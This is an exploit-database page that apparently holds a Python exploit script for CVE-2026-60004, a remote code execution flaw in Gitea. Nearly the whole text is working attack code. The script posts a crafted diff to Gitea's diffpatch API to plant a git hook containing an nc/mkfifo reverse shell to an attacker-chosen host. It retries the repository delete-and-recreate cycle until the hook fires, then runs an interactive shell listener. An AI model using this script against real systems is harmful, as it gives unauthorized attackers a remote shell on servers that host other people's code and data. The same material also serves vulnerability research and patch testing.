Exploit databaseDownload repository ZIP
GH-02ee49c3dd744ac622cca9c8b0323be4
eqstlab/cve-2026-60004
Sources for CVE-2026-60004
8 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
eqstlab/cve-2026-60004Revision 5f0b66177af6
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gitea_exploit.py
Python · 7,089 bytes#!/usr/bin/env python3
import argparse, base64, hashlib, json, socket, sys, threading, time
import urllib.request, urllib.error
def blob_sha1(data: bytes) -> str:
h = hashlib.sha1()
h.update(b"blob " + str(len(data)).encode() + b"\x00" + data)
return h.hexdigest()
def call(url, auth, method="GET", body=None, timeout=30, read=True):
headers = {"Authorization": auth}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, method=method, headers=headers)
try:
r = urllib.request.urlopen(req, timeout=timeout)
if read:
r.read()
return r.status
except urllib.error.HTTPError as e:
return e.code
except Exception as e:
return type(e).__name__
class Listener:
"""Background TCP listener that accepts one reverse shell."""
def __init__(self, port):
self.port = int(port)
self.conn = None
self.addr = None
self.got = threading.Event()
self._srv = None
def start(self):
self._srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._srv.bind(("0.0.0.0", self.port))
self._srv.listen(1)
threading.Thread(target=self._accept, daemon=True).start()
def _accept(self):
try:
conn, addr = self._srv.accept()
except OSError:
return
self.conn, self.addr = conn, addr
self.got.set()
def interact(self):
"""Line-based interactive relay for the connected /bin/sh -i."""
conn = self.conn
print("\n[+] shell from %s:%s -- type commands, Ctrl-C to quit\n" % self.addr)
stop = threading.Event()
def pump():
while not stop.is_set():
try:
data = conn.recv(4096)
except OSError:
break
if not data:
stop.set()
break
sys.stdout.write(data.decode(errors="replace"))
sys.stdout.flush()
threading.Thread(target=pump, daemon=True).start()
try:
conn.sendall(b"id; uname -a\n") # prove code exec right away
while not stop.is_set():
line = sys.stdin.readline()
if not line:
break
conn.sendall(line.encode())
except (KeyboardInterrupt, OSError):
pass
finally:
stop.set()
try:
conn.close()
except OSError:
pass
def main():
ap = argparse.ArgumentParser(description="CVE-2026-60004 reverse-shell RCE")
ap.add_argument("target", help="ip:port of the target Gitea, e.g. 172.17.0.2:3000")
ap.add_argument("lhost", help="reverse-shell callback IP (the box running this script)")
ap.add_argument("lport", nargs="?", default="4444", help="callback port (default 4444)")
ap.add_argument("--user", default="test")
ap.add_argument("--pw", default="11111111")
ap.add_argument("--repo", default="rce")
ap.add_argument("--branch", default="main")
ap.add_argument("--retries", type=int, default=25,
help="re-run delete->create->send x2 until the hook fires (default 25)")
ap.add_argument("--no-listen", action="store_true",
help="don't open a built-in listener; use your own external nc")
args = ap.parse_args()
base = args.target
if not base.startswith(("http://", "https://")):
base = "http://" + base
base = base.rstrip("/")
auth = "Basic " + base64.b64encode(("%s:%s" % (args.user, args.pw)).encode()).decode()
rs = ("F=/tmp/.$$;rm -f $F;mkfifo $F;cat $F|/bin/sh -i 2>&1|"
"nc %s %s >$F;rm -f $F" % (args.lhost, args.lport))
hook = "#!/bin/sh\n" + rs + "\n"
sha = blob_sha1(hook.encode())
added = hook.splitlines()
diff = (
"diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
"new file mode 100755\n"
"index 0000000000000000000000000000000000000000..%s\n"
"--- /dev/null\n"
"+++ b/hooks/post-index-change\n"
"@@ -0,0 +1,%d @@\n" % (sha, len(added))
) + "".join("+" + ln + "\n" for ln in added)
body = {"content": diff, "message": "apply", "branch": args.branch}
u, r = args.user, args.repo
print("[*] target : %s" % base)
print("[*] callback : %s:%s" % (args.lhost, args.lport))
print("[*] blob sha : %s" % sha)
# Open our own listener (unless told to use an external nc).
lst = None
if not args.no_listen:
try:
lst = Listener(args.lport)
lst.start()
print("[*] listening on 0.0.0.0:%s (built-in)" % args.lport)
except OSError as e:
print("[-] could not bind :%s (%s) -- is another nc/listener up? "
"continuing without built-in listener." % (args.lport, e))
lst = None
ep = "%s/api/v1/repos/%s/%s/diffpatch" % (base, u, r)
fired = False
for attempt in range(1, args.retries + 1):
if lst and lst.got.is_set():
fired = True
break
# 1) delete the repo if it exists, 2) recreate it fresh (like the Burp flow)
call("%s/api/v1/repos/%s/%s" % (base, u, r), auth, "DELETE")
call("%s/api/v1/user/repos" % base, auth, "POST",
{"name": r, "auto_init": True, "default_branch": args.branch})
time.sleep(0.6)
# 3) send #1 commits the hook to the branch (occasionally fires too)
c1 = call(ep, auth, "POST", body, timeout=6)
# 4) send #2 collides -> git's -3 checks the hook out to $GIT_DIR and runs it
c2 = call(ep, auth, "POST", body, timeout=6)
blocked = isinstance(c1, str) or isinstance(c2, str)
print("[*] attempt %2d/%d -> send#1 %s, send#2 %s%s"
% (attempt, args.retries, c1, c2, " <- BLOCKED (fired!)" if blocked else ""))
if blocked or (lst and lst.got.is_set()):
fired = True
break
if not args.no_listen and lst is not None:
if not fired and not lst.got.is_set():
print("[-] no cycle fired in %d tries (cold window); re-run in a moment "
"or restart the container." % args.retries)
return
# Give the callback a beat to arrive, then interact.
if lst.got.wait(timeout=8):
lst.interact()
else:
print("[-] a send blocked but no callback arrived within 8s -- re-run.")
else:
if fired:
print("[+] a send BLOCKED -> the reverse shell is live. "
"Check your external listener on %s:%s" % (args.lhost, args.lport))
else:
print("[-] no cycle fired in %d tries (cold window); re-run in a moment "
"or restart the container." % args.retries)
if __name__ == "__main__":
main()